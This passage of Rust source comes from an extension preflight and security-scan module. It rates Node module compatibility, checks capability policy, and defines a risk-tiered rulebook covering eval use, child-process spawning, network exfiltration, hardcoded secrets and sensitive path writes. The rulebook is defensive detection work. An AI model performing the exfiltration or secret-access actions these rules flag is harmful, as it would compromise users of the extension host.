1use std::collections::BTreeMap;
14use std::fmt::{self, Write};
15use std::path::Path;
16
17use serde::{Deserialize, Serialize};
18
19use crate::extensions::{CompatibilityScanner, ExtensionPolicy, PolicyDecision};
20
21#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
27#[serde(rename_all = "snake_case")]
28pub enum ModuleSupport {
29 Real,
31 Partial,
33 Stub,
35 ErrorThrow,
37 Missing,
39}
40
41impl ModuleSupport {
42 #[must_use]
44 pub const fn severity(self) -> FindingSeverity {
45 match self {
46 Self::Real => FindingSeverity::Info,
47 Self::Partial | Self::Stub => FindingSeverity::Warning,
48 Self::ErrorThrow | Self::Missing => FindingSeverity::Error,
49 }
50 }
51
52 #[must_use]
54 pub const fn label(self) -> &'static str {
55 match self {
56 Self::Real => "fully supported",
57 Self::Partial => "partially supported",
58 Self::Stub => "stub only",
59 Self::ErrorThrow => "throws on import",
60 Self::Missing => "not available",
61 }
62 }
63}
64
65impl fmt::Display for ModuleSupport {
66 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
67 f.write_str(self.label())
68 }
69}
70
71#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, Serialize, Deserialize)]
77#[serde(rename_all = "snake_case")]
78pub enum FindingSeverity {
79 Info,
81 Warning,
83 Error,
85}
86
87impl fmt::Display for FindingSeverity {
88 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
89 match self {
90 Self::Info => f.write_str("info"),
91 Self::Warning => f.write_str("warning"),
92 Self::Error => f.write_str("error"),
93 }
94 }
95}
96
97#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
99#[serde(rename_all = "snake_case")]
100pub enum FindingCategory {
101 ModuleCompat,
103 CapabilityPolicy,
105 ForbiddenPattern,
107 FlaggedPattern,
109}
110
111impl fmt::Display for FindingCategory {
112 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
113 match self {
114 Self::ModuleCompat => f.write_str("module_compat"),
115 Self::CapabilityPolicy => f.write_str("capability_policy"),
116 Self::ForbiddenPattern => f.write_str("forbidden_pattern"),
117 Self::FlaggedPattern => f.write_str("flagged_pattern"),
118 }
119 }
120}
121
122#[derive(Debug, Clone, Serialize, Deserialize)]
128pub struct PreflightFinding {
129 pub severity: FindingSeverity,
130 pub category: FindingCategory,
131 pub message: String,
133 #[serde(default, skip_serializing_if = "Option::is_none")]
135 pub remediation: Option<String>,
136 #[serde(default, skip_serializing_if = "Option::is_none")]
138 pub file: Option<String>,
139 #[serde(default, skip_serializing_if = "Option::is_none")]
140 pub line: Option<usize>,
141}
142
143#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
149#[serde(rename_all = "snake_case")]
150pub enum PreflightVerdict {
151 Pass,
153 Warn,
155 Fail,
157}
158
159impl fmt::Display for PreflightVerdict {
160 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
161 match self {
162 Self::Pass => f.write_str("PASS"),
163 Self::Warn => f.write_str("WARN"),
164 Self::Fail => f.write_str("FAIL"),
165 }
166 }
167}
168
169#[derive(Debug, Clone, Serialize, Deserialize)]
175pub struct PreflightReport {
176 pub schema: String,
177 pub extension_id: String,
178 pub verdict: PreflightVerdict,
179 pub confidence: ConfidenceScore,
180 pub risk_banner: String,
181 pub findings: Vec<PreflightFinding>,
182 pub summary: PreflightSummary,
183}
184
185#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
192pub struct ConfidenceScore(pub u8);
193
194impl ConfidenceScore {
195 #[must_use]
197 pub fn from_counts(errors: usize, warnings: usize) -> Self {
198 let penalty = errors.saturating_mul(25) + warnings.saturating_mul(10);
199 let score = 100_usize.saturating_sub(penalty);
200 Self(u8::try_from(score.min(100)).unwrap_or(0))
201 }
202
203 #[must_use]
205 pub const fn value(self) -> u8 {
206 self.0
207 }
208
209 #[must_use]
211 pub const fn label(self) -> &'static str {
212 match self.0 {
213 90..=100 => "High",
214 60..=89 => "Medium",
215 30..=59 => "Low",
216 _ => "Very Low",
217 }
218 }
219}
220
221impl fmt::Display for ConfidenceScore {
222 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
223 write!(f, "{}% ({})", self.0, self.label())
224 }
225}
226
227#[derive(Debug, Clone, Default, Serialize, Deserialize)]
229pub struct PreflightSummary {
230 pub errors: usize,
231 pub warnings: usize,
232 pub info: usize,
233}
234
235pub const PREFLIGHT_SCHEMA: &str = "pi.ext.preflight.v1";
236
237impl PreflightReport {
238 #[must_use]
240 pub fn from_findings(extension_id: String, findings: Vec<PreflightFinding>) -> Self {
241 let mut summary = PreflightSummary::default();
242 for f in &findings {
243 match f.severity {
244 FindingSeverity::Error => summary.errors += 1,
245 FindingSeverity::Warning => summary.warnings += 1,
246 FindingSeverity::Info => summary.info += 1,
247 }
248 }
249
250 let verdict = if summary.errors > 0 {
251 PreflightVerdict::Fail
252 } else if summary.warnings > 0 {
253 PreflightVerdict::Warn
254 } else {
255 PreflightVerdict::Pass
256 };
257
258 let confidence = ConfidenceScore::from_counts(summary.errors, summary.warnings);
259 let risk_banner = risk_banner_text(verdict, confidence, &summary);
260
261 Self {
262 schema: PREFLIGHT_SCHEMA.to_string(),
263 extension_id,
264 verdict,
265 confidence,
266 risk_banner,
267 findings,
268 summary,
269 }
270 }
271
272 #[must_use]
274 pub fn render_markdown(&self) -> String {
275 let mut out = String::new();
276 let _ = write!(
277 out,
278 "# Preflight Report: {}\n\n**Verdict**: {} | **Confidence**: {}\n\n",
279 self.extension_id, self.verdict, self.confidence
280 );
281 let _ = writeln!(out, "> {}\n", self.risk_banner);
282 let _ = write!(
283 out,
284 "| Errors | Warnings | Info |\n|--------|----------|------|\n| {} | {} | {} |\n\n",
285 self.summary.errors, self.summary.warnings, self.summary.info
286 );
287
288 if self.findings.is_empty() {
289 out.push_str("No issues found. Extension is expected to work.\n");
290 return out;
291 }
292
293 out.push_str("## Findings\n\n");
294 for (i, f) in self.findings.iter().enumerate() {
295 let icon = match f.severity {
296 FindingSeverity::Error => "x",
297 FindingSeverity::Warning => "!",
298 FindingSeverity::Info => "i",
299 };
300 let _ = writeln!(
301 out,
302 "{}. [{}] **{}**: {}",
303 i + 1,
304 icon,
305 f.category,
306 f.message
307 );
308 if let Some(loc) = &f.file {
309 if let Some(line) = f.line {
310 let _ = writeln!(out, " Location: {loc}:{line}");
311 } else {
312 let _ = writeln!(out, " Location: {loc}");
313 }
314 }
315 if let Some(rem) = &f.remediation {
316 let _ = writeln!(out, " Remediation: {rem}");
317 }
318 out.push('\n');
319 }
320
321 out
322 }
323
324 pub fn to_json(&self) -> Result<String, serde_json::Error> {
330 serde_json::to_string_pretty(self)
331 }
332}
333
334#[must_use]
341#[allow(clippy::match_same_arms)]
342pub fn known_module_support(specifier: &str) -> Option<ModuleSupport> {
343 let normalized = specifier.strip_prefix("node:").unwrap_or(specifier);
344
345 let module_root = normalized.split('/').next().unwrap_or(normalized);
347
348 match module_root {
349 "path" | "os" => Some(ModuleSupport::Real),
351 "fs" => {
352 if normalized == "fs/promises" {
354 Some(ModuleSupport::Partial)
355 } else {
356 Some(ModuleSupport::Real)
357 }
358 }
359 "child_process" => Some(ModuleSupport::Real),
360
361 "url" | "util" | "events" | "stream" | "buffer" | "querystring" | "string_decoder"
363 | "timers" => Some(ModuleSupport::Real),
364
365 "crypto" => Some(ModuleSupport::Partial),
367 "readline" => {
368 if normalized == "readline/promises" {
369 Some(ModuleSupport::Missing)
370 } else {
371 Some(ModuleSupport::Partial)
372 }
373 }
374 "http" | "https" => Some(ModuleSupport::Partial),
375
376 "zlib"
378 | "tty"
379 | "assert"
380 | "vm"
381 | "v8"
382 | "perf_hooks"
383 | "worker_threads"
384 | "diagnostics_channel"
385 | "async_hooks" => Some(ModuleSupport::Stub),
386
387 "net" | "dgram" | "dns" | "tls" | "cluster" => Some(ModuleSupport::ErrorThrow),
389
390 "@sinclair/typebox" | "zod" => Some(ModuleSupport::Real),
392
393 "chokidar" | "jsdom" | "turndown" | "beautiful-mermaid" | "node-pty" | "ws" | "axios" => {
395 Some(ModuleSupport::Stub)
396 }
397
398 "@modelcontextprotocol" => Some(ModuleSupport::Stub),
400
401 "@mariozechner" => Some(ModuleSupport::Partial),
403
404 "@opentelemetry" => Some(ModuleSupport::Stub),
406
407 _ => None,
408 }
409}
410
411#[must_use]
413pub fn module_remediation(specifier: &str, support: ModuleSupport) -> Option<String> {
414 let normalized = specifier.strip_prefix("node:").unwrap_or(specifier);
415 let module_root = normalized.split('/').next().unwrap_or(normalized);
416
417 match (module_root, support) {
418 (_, ModuleSupport::Real) => None,
419 ("fs", ModuleSupport::Partial) => Some(
420 "fs/promises has partial coverage. Use synchronous fs APIs (existsSync, readFileSync, writeFileSync) for best compatibility.".to_string()
421 ),
422 ("crypto", ModuleSupport::Partial) => Some(
423 "Only createHash, randomBytes, and randomUUID are available. For other crypto ops, consider using the Web Crypto API.".to_string()
424 ),
425 ("readline", ModuleSupport::Partial) => Some(
426 "Basic readline is available but readline/promises is not. Use callback-based readline API.".to_string()
427 ),
428 ("http" | "https", ModuleSupport::Partial) => Some(
429 "HTTP client functionality is available via fetch(). HTTP server functionality is not supported.".to_string()
430 ),
431 ("net", ModuleSupport::ErrorThrow) => Some(
432 "Raw TCP sockets are not available. Use fetch() for HTTP or the pi.http hostcall for network requests.".to_string()
433 ),
434 ("tls", ModuleSupport::ErrorThrow) => Some(
435 "TLS sockets are not available. Use fetch() with HTTPS URLs instead.".to_string()
436 ),
437 ("dns", ModuleSupport::ErrorThrow) => Some(
438 "DNS resolution is not available. Use fetch() which handles DNS internally.".to_string()
439 ),
440 ("dgram" | "cluster", ModuleSupport::ErrorThrow) => Some(
441 format!("The `{module_root}` module is not supported in the extension runtime.")
442 ),
443 ("chokidar", _) => Some(
444 "File watching is not supported. Consider polling with fs.existsSync or using event hooks instead.".to_string()
445 ),
446 ("jsdom", _) => Some(
447 "DOM parsing is not available. Consider extracting text content without DOM manipulation.".to_string()
448 ),
449 ("ws", _) => Some(
450 "WebSocket support is not available. Use fetch() for HTTP-based communication.".to_string()
451 ),
452 ("node-pty", _) => Some(
453 "PTY support is not available. Use pi.exec() hostcall for command execution.".to_string()
454 ),
455 (_, ModuleSupport::Missing) => Some(
456 format!("Module `{normalized}` is not available. Check if there is an alternative API in the pi extension SDK.")
457 ),
458 (_, ModuleSupport::Stub) => Some(
459 format!("Module `{normalized}` is a stub — it loads without error but provides no real functionality.")
460 ),
461 _ => None,
462 }
463}
464
465pub struct PreflightAnalyzer<'a> {
471 policy: &'a ExtensionPolicy,
472 extension_id: Option<&'a str>,
473}
474
475impl<'a> PreflightAnalyzer<'a> {
476 #[must_use]
478 pub const fn new(policy: &'a ExtensionPolicy, extension_id: Option<&'a str>) -> Self {
479 Self {
480 policy,
481 extension_id,
482 }
483 }
484
485 pub fn analyze(&self, path: &Path) -> PreflightReport {
489 let ext_id = self.extension_id.unwrap_or("unknown").to_string();
490
491 let scanner = CompatibilityScanner::new(path.to_path_buf());
492 let ledger = scanner
493 .scan_path(path)
494 .unwrap_or_else(|_| crate::extensions::CompatLedger::empty());
495
496 let mut findings = Vec::new();
497
498 Self::check_module_findings(&ledger, &mut findings);
500
501 self.check_capability_findings(&ledger, &mut findings);
503
504 Self::check_forbidden_findings(&ledger, &mut findings);
506
507 Self::check_flagged_findings(&ledger, &mut findings);
509
510 findings.sort_by_key(|finding| std::cmp::Reverse(finding.severity));
512
513 PreflightReport::from_findings(ext_id, findings)
514 }
515
516 #[must_use]
518 pub fn analyze_source(&self, extension_id: &str, source: &str) -> PreflightReport {
519 let mut findings = Vec::new();
520
521 let mut module_imports: BTreeMap<String, Vec<usize>> = BTreeMap::new();
523 for (idx, line) in source.lines().enumerate() {
524 let line_no = idx + 1;
525 for specifier in extract_import_specifiers_simple(line) {
526 module_imports.entry(specifier).or_default().push(line_no);
527 }
528 }
529
530 for (specifier, lines) in &module_imports {
532 if let Some(support) = known_module_support(specifier) {
533 let severity = support.severity();
534 if severity > FindingSeverity::Info {
535 let remediation = module_remediation(specifier, support);
536 findings.push(PreflightFinding {
537 severity,
538 category: FindingCategory::ModuleCompat,
539 message: format!("Module `{specifier}` is {support}",),
540 remediation,
541 file: None,
542 line: lines.first().copied(),
543 });
544 }
545 }
546 }
547
548 let mut caps_seen: BTreeMap<String, usize> = BTreeMap::new();
550 for (idx, line) in source.lines().enumerate() {
551 let line_no = idx + 1;
552 if line.contains("process.env") && !caps_seen.contains_key("env") {
553 caps_seen.insert("env".to_string(), line_no);
554 }
555 if (line.contains("pi.exec") || line.contains("child_process"))
556 && !caps_seen.contains_key("exec")
557 {
558 caps_seen.insert("exec".to_string(), line_no);
559 }
560 }
561
562 for (cap, line_no) in &caps_seen {
563 let check = self.policy.evaluate_for(cap, self.extension_id);
564 match check.decision {
565 PolicyDecision::Deny => {
566 findings.push(PreflightFinding {
567 severity: FindingSeverity::Error,
568 category: FindingCategory::CapabilityPolicy,
569 message: format!(
570 "Capability `{cap}` is denied by policy (reason: {})",
571 check.reason
572 ),
573 remediation: Some(capability_remediation(cap)),
574 file: None,
575 line: Some(*line_no),
576 });
577 }
578 PolicyDecision::Prompt => {
579 findings.push(PreflightFinding {
580 severity: FindingSeverity::Warning,
581 category: FindingCategory::CapabilityPolicy,
582 message: format!(
583 "Capability `{cap}` will require user confirmation"
584 ),
585 remediation: Some(format!(
586 "To allow without prompting, add `{cap}` to default_caps in your extension policy config."
587 )),
588 file: None,
589 line: Some(*line_no),
590 });
591 }
592 PolicyDecision::Allow => {}
593 }
594 }
595
596 findings.sort_by_key(|finding| std::cmp::Reverse(finding.severity));
598
599 PreflightReport::from_findings(extension_id.to_string(), findings)
600 }
601
602 fn check_module_findings(
603 ledger: &crate::extensions::CompatLedger,
604 findings: &mut Vec<PreflightFinding>,
605 ) {
606 let mut seen_modules: BTreeMap<String, Option<(String, usize)>> = BTreeMap::new();
608
609 for rw in &ledger.rewrites {
611 seen_modules
612 .entry(rw.from.clone())
613 .or_insert_with(|| rw.evidence.first().map(|e| (e.file.clone(), e.line)));
614 }
615
616 for fl in &ledger.flagged {
618 if fl.rule == "unsupported_import" {
619 if let Some(spec) = extract_specifier_from_message(&fl.message) {
621 seen_modules
622 .entry(spec)
623 .or_insert_with(|| fl.evidence.first().map(|e| (e.file.clone(), e.line)));
624 }
625 }
626 }
627
628 for (specifier, loc) in &seen_modules {
629 if let Some(support) = known_module_support(specifier) {
630 let severity = support.severity();
631 if severity > FindingSeverity::Info {
632 let remediation = module_remediation(specifier, support);
633 let (file, line) = loc
634 .as_ref()
635 .map_or((None, None), |(f, l)| (Some(f.clone()), Some(*l)));
636 findings.push(PreflightFinding {
637 severity,
638 category: FindingCategory::ModuleCompat,
639 message: format!("Module `{specifier}` is {support}"),
640 remediation,
641 file,
642 line,
643 });
644 }
645 }
646 }
647 }
648
649 fn check_capability_findings(
650 &self,
651 ledger: &crate::extensions::CompatLedger,
652 findings: &mut Vec<PreflightFinding>,
653 ) {
654 let mut seen: BTreeMap<String, (String, usize)> = BTreeMap::new();
656
657 for cap_ev in &ledger.capabilities {
658 if !seen.contains_key(&cap_ev.capability) {
659 let loc = cap_ev
660 .evidence
661 .first()
662 .map(|e| (e.file.clone(), e.line))
663 .unwrap_or_default();
664 seen.insert(cap_ev.capability.clone(), loc);
665 }
666 }
667
668 for (cap, (file, line)) in &seen {
669 let check = self.policy.evaluate_for(cap, self.extension_id);
670 match check.decision {
671 PolicyDecision::Deny => {
672 findings.push(PreflightFinding {
673 severity: FindingSeverity::Error,
674 category: FindingCategory::CapabilityPolicy,
675 message: format!(
676 "Capability `{cap}` is denied by policy (reason: {})",
677 check.reason
678 ),
679 remediation: Some(capability_remediation(cap)),
680 file: Some(file.clone()),
681 line: Some(*line),
682 });
683 }
684 PolicyDecision::Prompt => {
685 findings.push(PreflightFinding {
686 severity: FindingSeverity::Warning,
687 category: FindingCategory::CapabilityPolicy,
688 message: format!(
689 "Capability `{cap}` will require user confirmation"
690 ),
691 remediation: Some(format!(
692 "To allow without prompting, add `{cap}` to default_caps in your extension policy config."
693 )),
694 file: Some(file.clone()),
695 line: Some(*line),
696 });
697 }
698 PolicyDecision::Allow => {}
699 }
700 }
701 }
702
703 fn check_forbidden_findings(
704 ledger: &crate::extensions::CompatLedger,
705 findings: &mut Vec<PreflightFinding>,
706 ) {
707 for fb in &ledger.forbidden {
708 let loc = fb.evidence.first();
709 findings.push(PreflightFinding {
710 severity: FindingSeverity::Error,
711 category: FindingCategory::ForbiddenPattern,
712 message: fb.message.clone(),
713 remediation: fb.remediation.clone(),
714 file: loc.map(|e| e.file.clone()),
715 line: loc.map(|e| e.line),
716 });
717 }
718 }
719
720 fn check_flagged_findings(
721 ledger: &crate::extensions::CompatLedger,
722 findings: &mut Vec<PreflightFinding>,
723 ) {
724 for fl in &ledger.flagged {
725 if fl.rule == "unsupported_import" {
727 continue;
728 }
729 let loc = fl.evidence.first();
730 findings.push(PreflightFinding {
731 severity: FindingSeverity::Warning,
732 category: FindingCategory::FlaggedPattern,
733 message: fl.message.clone(),
734 remediation: fl.remediation.clone(),
735 file: loc.map(|e| e.file.clone()),
736 line: loc.map(|e| e.line),
737 });
738 }
739 }
740}
741
742fn risk_banner_text(
748 verdict: PreflightVerdict,
749 confidence: ConfidenceScore,
750 summary: &PreflightSummary,
751) -> String {
752 match verdict {
753 PreflightVerdict::Pass => format!("Extension is compatible (confidence: {confidence})"),
754 PreflightVerdict::Warn => format!(
755 "Extension may have issues: {} warning(s) (confidence: {confidence})",
756 summary.warnings
757 ),
758 PreflightVerdict::Fail => format!(
759 "Extension is likely incompatible: {} error(s), {} warning(s) (confidence: {confidence})",
760 summary.errors, summary.warnings
761 ),
762 }
763}
764
765fn extract_specifier_from_message(msg: &str) -> Option<String> {
768 let start = msg.find('`')?;
769 let end = msg[start + 1..].find('`')?;
770 Some(msg[start + 1..start + 1 + end].to_string())
771}
772
773fn extract_import_specifiers_simple(line: &str) -> Vec<String> {
776 let mut specs = Vec::new();
777 let trimmed = line.trim();
778
779 if trimmed.starts_with("import ") || trimmed.starts_with("export ") {
781 if let Some(from_idx) = trimmed.find(" from ") {
782 let rest = &trimmed[from_idx + 6..];
783 if let Some(spec) = extract_quoted_string(rest) {
784 if !spec.starts_with('.') && !spec.starts_with('/') {
785 specs.push(spec);
786 }
787 }
788 } else if let Some(rest) = trimmed.strip_prefix("import ") {
789 if let Some(spec) = extract_quoted_string(rest) {
791 if !spec.starts_with('.') && !spec.starts_with('/') {
792 specs.push(spec);
793 }
794 }
795 }
796 }
797
798 let mut search = trimmed;
800 while let Some(req_idx) = search.find("require(") {
801 let rest = &search[req_idx + 8..];
802 if let Some(spec) = extract_quoted_string(rest) {
803 if !spec.starts_with('.') && !spec.starts_with('/') {
804 specs.push(spec);
805 }
806 }
807 search = &search[req_idx + 8..];
808 }
809
810 specs
811}
812
813fn extract_quoted_string(text: &str) -> Option<String> {
815 let trimmed = text.trim();
816 let (quote, rest) = if let Some(rest) = trimmed.strip_prefix('"') {
817 ('"', rest)
818 } else if let Some(rest) = trimmed.strip_prefix('\'') {
819 ('\'', rest)
820 } else {
821 return None;
822 };
823
824 rest.find(quote).map(|end| rest[..end].to_string())
825}
826
827fn capability_remediation(cap: &str) -> String {
829 match cap {
830 "exec" => "To enable shell command execution, use `--allow-dangerous` CLI flag or set `allow_dangerous: true` in config. This grants access to exec and env capabilities.".to_string(),
831 "env" => "To enable environment variable access, use `--allow-dangerous` CLI flag or set `allow_dangerous: true` in config. Alternatively, add a per-extension override: `per_extension.\"<ext-id>\".allow = [\"env\"]`.".to_string(),
832 _ => format!("Add `{cap}` to `default_caps` in your extension policy configuration."),
833 }
834}
835
836pub const SECURITY_SCAN_SCHEMA: &str = "pi.ext.security_scan.v1";
843
844#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
848pub enum SecurityRuleId {
849 #[serde(rename = "SEC-EVAL-001")]
852 EvalUsage,
853 #[serde(rename = "SEC-FUNC-001")]
855 NewFunctionUsage,
856 #[serde(rename = "SEC-BIND-001")]
858 ProcessBinding,
859 #[serde(rename = "SEC-DLOPEN-001")]
861 ProcessDlopen,
862 #[serde(rename = "SEC-PROTO-001")]
864 ProtoPollution,
865 #[serde(rename = "SEC-RCACHE-001")]
867 RequireCacheManip,
868
869 #[serde(rename = "SEC-SECRET-001")]
872 HardcodedSecret,
873 #[serde(rename = "SEC-DIMPORT-001")]
875 DynamicImport,
876 #[serde(rename = "SEC-DEFPROP-001")]
878 DefinePropertyAbuse,
879 #[serde(rename = "SEC-EXFIL-001")]
881 NetworkExfiltration,
882 #[serde(rename = "SEC-FSSENS-001")]
884 SensitivePathWrite,
885
886 #[serde(rename = "SEC-ENV-001")]
889 ProcessEnvAccess,
890 #[serde(rename = "SEC-TIMER-001")]
892 TimerAbuse,
893 #[serde(rename = "SEC-PROXY-001")]
895 ProxyReflect,
896 #[serde(rename = "SEC-WITH-001")]
898 WithStatement,
899
900 #[serde(rename = "SEC-DEBUG-001")]
903 DebuggerStatement,
904 #[serde(rename = "SEC-CONSOLE-001")]
906 ConsoleInfoLeak,
907
908 #[serde(rename = "SEC-SPAWN-001")]
913 ChildProcessSpawn,
914 #[serde(rename = "SEC-CONSTRUCTOR-001")]
916 ConstructorEscape,
917 #[serde(rename = "SEC-NATIVEMOD-001")]
919 NativeModuleRequire,
920
921 #[serde(rename = "SEC-GLOBAL-001")]
924 GlobalMutation,
925 #[serde(rename = "SEC-SYMLINK-001")]
927 SymlinkCreation,
928 #[serde(rename = "SEC-CHMOD-001")]
930 PermissionChange,
931 #[serde(rename = "SEC-SOCKET-001")]
933 SocketListener,
934 #[serde(rename = "SEC-WASM-001")]
936 WebAssemblyUsage,
937
938 #[serde(rename = "SEC-ARGUMENTS-001")]
941 ArgumentsCallerAccess,
942}
943
944impl SecurityRuleId {
945 #[must_use]
947 pub const fn name(self) -> &'static str {
948 match self {
949 Self::EvalUsage => "eval-usage",
950 Self::NewFunctionUsage => "new-function-usage",
951 Self::ProcessBinding => "process-binding",
952 Self::ProcessDlopen => "process-dlopen",
953 Self::ProtoPollution => "proto-pollution",
954 Self::RequireCacheManip => "require-cache-manipulation",
955 Self::HardcodedSecret => "hardcoded-secret",
956 Self::DynamicImport => "dynamic-import",
957 Self::DefinePropertyAbuse => "define-property-abuse",
958 Self::NetworkExfiltration => "network-exfiltration",
959 Self::SensitivePathWrite => "sensitive-path-write",
960 Self::ProcessEnvAccess => "process-env-access",
961 Self::TimerAbuse => "timer-abuse",
962 Self::ProxyReflect => "proxy-reflect",
963 Self::WithStatement => "with-statement",
964 Self::DebuggerStatement => "debugger-statement",
965 Self::ConsoleInfoLeak => "console-info-leak",
966 Self::ChildProcessSpawn => "child-process-spawn",
967 Self::ConstructorEscape => "constructor-escape",
968 Self::NativeModuleRequire => "native-module-require",
969 Self::GlobalMutation => "global-mutation",
970 Self::SymlinkCreation => "symlink-creation",
971 Self::PermissionChange => "permission-change",
972 Self::SocketListener => "socket-listener",
973 Self::WebAssemblyUsage => "webassembly-usage",
974 Self::ArgumentsCallerAccess => "arguments-caller-access",
975 }
976 }
977
978 #[must_use]
980 pub const fn default_tier(self) -> RiskTier {
981 if matches!(
982 self,
983 Self::EvalUsage
984 | Self::NewFunctionUsage
985 | Self::ProcessBinding
986 | Self::ProcessDlopen
987 | Self::ProtoPollution
988 | Self::RequireCacheManip
989 | Self::ChildProcessSpawn
990 | Self::ConstructorEscape
991 | Self::NativeModuleRequire
992 ) {
993 RiskTier::Critical
994 } else if matches!(
995 self,
996 Self::HardcodedSecret
997 | Self::DynamicImport
998 | Self::DefinePropertyAbuse
999 | Self::NetworkExfiltration
1000 | Self::SensitivePathWrite
1001 | Self::GlobalMutation
1002 | Self::SymlinkCreation
1003 | Self::PermissionChange
1004 | Self::SocketListener
1005 | Self::WebAssemblyUsage
1006 ) {
1007 RiskTier::High
1008 } else if matches!(
1009 self,
1010 Self::ProcessEnvAccess
1011 | Self::TimerAbuse
1012 | Self::ProxyReflect
1013 | Self::WithStatement
1014 | Self::ArgumentsCallerAccess
1015 ) {
1016 RiskTier::Medium
1017 } else {
1018 RiskTier::Low
1019 }
1020 }
1021}
1022
1023impl fmt::Display for SecurityRuleId {
1024 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
1025 f.write_str(self.name())
1026 }
1027}
1028
1029#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, Serialize, Deserialize)]
1032#[serde(rename_all = "snake_case")]
1033pub enum RiskTier {
1034 Critical,
1036 High,
1038 Medium,
1040 Low,
1042}
1043
1044impl fmt::Display for RiskTier {
1045 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
1046 match self {
1047 Self::Critical => f.write_str("critical"),
1048 Self::High => f.write_str("high"),
1049 Self::Medium => f.write_str("medium"),
1050 Self::Low => f.write_str("low"),
1051 }
1052 }
1053}
1054
1055#[derive(Debug, Clone, Serialize, Deserialize)]
1057pub struct SecurityFinding {
1058 pub rule_id: SecurityRuleId,
1060 pub risk_tier: RiskTier,
1063 pub rationale: String,
1065 #[serde(default, skip_serializing_if = "Option::is_none")]
1067 pub file: Option<String>,
1068 #[serde(default, skip_serializing_if = "Option::is_none")]
1070 pub line: Option<usize>,
1071 #[serde(default, skip_serializing_if = "Option::is_none")]
1073 pub column: Option<usize>,
1074 #[serde(default, skip_serializing_if = "Option::is_none")]
1076 pub snippet: Option<String>,
1077}
1078
1079#[derive(Debug, Clone, Serialize, Deserialize)]
1081pub struct SecurityScanReport {
1082 pub schema: String,
1084 pub extension_id: String,
1086 pub overall_tier: RiskTier,
1088 pub tier_counts: SecurityTierCounts,
1090 pub findings: Vec<SecurityFinding>,
1092 pub verdict: String,
1094 pub rulebook_version: String,
1096}
1097
1098#[derive(Debug, Clone, Default, Serialize, Deserialize)]
1100pub struct SecurityTierCounts {
1101 pub critical: usize,
1102 pub high: usize,
1103 pub medium: usize,
1104 pub low: usize,
1105}
1106
1107pub const SECURITY_RULEBOOK_VERSION: &str = "2.0.0";
1113
1114impl SecurityScanReport {
1115 #[must_use]
1122 pub fn from_findings(extension_id: String, mut findings: Vec<SecurityFinding>) -> Self {
1123 findings.sort_by(|a, b| {
1125 a.risk_tier
1126 .cmp(&b.risk_tier)
1127 .then_with(|| {
1128 a.file
1129 .as_deref()
1130 .unwrap_or("")
1131 .cmp(b.file.as_deref().unwrap_or(""))
1132 })
1133 .then_with(|| a.line.cmp(&b.line))
1134 .then_with(|| a.column.cmp(&b.column))
1135 .then_with(|| a.rule_id.name().cmp(b.rule_id.name()))
1136 });
1137
1138 let mut counts = SecurityTierCounts::default();
1139 for f in &findings {
1140 match f.risk_tier {
1141 RiskTier::Critical => counts.critical += 1,
1142 RiskTier::High => counts.high += 1,
1143 RiskTier::Medium => counts.medium += 1,
1144 RiskTier::Low => counts.low += 1,
1145 }
1146 }
1147
1148 let overall_tier = findings.first().map_or(RiskTier::Low, |f| f.risk_tier);
1149
1150 let verdict = match overall_tier {
1151 RiskTier::Critical => format!(
1152 "BLOCK: {} critical finding(s) — active exploit vectors detected",
1153 counts.critical
1154 ),
1155 RiskTier::High => format!(
1156 "REVIEW REQUIRED: {} high-risk finding(s) — likely dangerous patterns",
1157 counts.high
1158 ),
1159 RiskTier::Medium => format!(
1160 "CAUTION: {} medium-risk finding(s) — warrants review",
1161 counts.medium
1162 ),
1163 RiskTier::Low if findings.is_empty() => "CLEAN: no security findings".to_string(),
1164 RiskTier::Low => format!("INFO: {} low-risk finding(s) — informational", counts.low),
1165 };
1166
1167 Self {
1168 schema: SECURITY_SCAN_SCHEMA.to_string(),
1169 extension_id,
1170 overall_tier,
1171 tier_counts: counts,
1172 findings,
1173 verdict,
1174 rulebook_version: SECURITY_RULEBOOK_VERSION.to_string(),
1175 }
1176 }
1177
1178 pub fn to_json(&self) -> Result<String, serde_json::Error> {
1184 serde_json::to_string_pretty(self)
1185 }
1186
1187 #[must_use]
1189 pub const fn should_block(&self) -> bool {
1190 matches!(self.overall_tier, RiskTier::Critical)
1191 }
1192
1193 #[must_use]
1195 pub const fn needs_review(&self) -> bool {
1196 matches!(self.overall_tier, RiskTier::Critical | RiskTier::High)
1197 }
1198}
1199
1200pub const SECURITY_EVIDENCE_LEDGER_SCHEMA: &str = "pi.ext.security_evidence_ledger.v1";
1206
1207#[derive(Debug, Clone, Serialize, Deserialize)]
1210pub struct SecurityEvidenceLedgerEntry {
1211 pub schema: String,
1212 pub entry_index: usize,
1214 pub extension_id: String,
1216 pub rule_id: SecurityRuleId,
1218 pub risk_tier: RiskTier,
1220 pub rationale: String,
1222 #[serde(default, skip_serializing_if = "Option::is_none")]
1224 pub file: Option<String>,
1225 #[serde(default, skip_serializing_if = "Option::is_none")]
1227 pub line: Option<usize>,
1228 #[serde(default, skip_serializing_if = "Option::is_none")]
1230 pub column: Option<usize>,
1231 pub rulebook_version: String,
1233}
1234
1235impl SecurityEvidenceLedgerEntry {
1236 #[must_use]
1238 pub fn from_finding(entry_index: usize, extension_id: &str, finding: &SecurityFinding) -> Self {
1239 Self {
1240 schema: SECURITY_EVIDENCE_LEDGER_SCHEMA.to_string(),
1241 entry_index,
1242 extension_id: extension_id.to_string(),
1243 rule_id: finding.rule_id,
1244 risk_tier: finding.risk_tier,
1245 rationale: finding.rationale.clone(),
1246 file: finding.file.clone(),
1247 line: finding.line,
1248 column: finding.column,
1249 rulebook_version: SECURITY_RULEBOOK_VERSION.to_string(),
1250 }
